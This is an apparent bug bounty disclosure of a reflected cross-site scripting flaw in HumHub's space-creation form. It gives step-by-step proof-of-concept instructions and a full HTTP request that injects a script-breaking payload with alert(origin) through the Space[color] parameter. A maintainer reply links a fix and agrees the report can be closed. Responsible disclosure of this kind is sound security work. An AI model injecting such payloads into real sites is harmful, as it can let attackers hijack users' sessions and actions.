Cross-site Scripting (XSS) in create space function in humhub/humhub
Reported on
May 5th 2022
Description
Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
Proof of Concept
1.Login as normal user.
2.Access subdomain /space/create/create
.
3.Input name, color, description,.. -> click "Next".
4.Intercept request using burpsuit -> change Space[color]
param to %230000009758')});</script><script>alert(origin);+$(function()+{('
5.Send request and show response in browser -> xss will be triggered.
Image
- Request
POST /space/create/create HTTP/1.1
Host: dthaa123.humhub.com
Cookie: your.cookie
Content-Length: 262
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
X-Csrf-Token: ndea41dEzc5iBrzMt6zlbVPwXXAZaq01TB0uNRG-fnLa4PmxYgaFkVU-1Krh56gvYrtwGykMml41Th94WOwfFg==
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Humhub-View-Context: modal
X-Requested-With: XMLHttpRequest
Origin: https://dthaa123.humhub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dthaa123.humhub.com/space/create/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
_csrf=ndea41dEzc5iBrzMt6zlbVPwXXAZaq01TB0uNRG-fnLa4PmxYgaFkVU-1Krh56gvYrtwGykMml41Th94WOwfFg%3D%3D&Space%5Bcolor%5D=%230000009758')});</script><script>alert(origin);+$(function()+{('&Space%5Bname%5D=&Space%5Bdescription%5D=&Space%5Bvisibility%5D=&Space%5Bvisibility%5D=1&Space%5Bjoin_policy%5D=&Space%5Bjoin_policy%5D=1
- XSS triggered
Impact
- If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
+Perform any action within the application that the user can perform.
+View any information that the user is able to view.
+Modify any information that the user is able to modify.
- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user. There are various means by which an attacker might induce a victim user to make a request that they control, to deliver a reflected XSS attack. These include placing links on a website controlled by the attacker, or on another website that allows content to be generated, or by sending a link in an email, tweet or other message
@admin Can you help us? This XSS can only be constructed once (not persistently) with tools like Burpsuit.
While we have done a fix here https://github.com/humhub/humhub/commit/adcc7f2f2ab78eec5f6f6d60fb6bbba652333002
But do not see any significant vulnerability here.
How do we proceed here?
Hello Lucas 👋
Thanks for getting in touch. Seeing as you have already marked the report as None
severity, feel free to proceed with resolving it as Valid and Fixed
.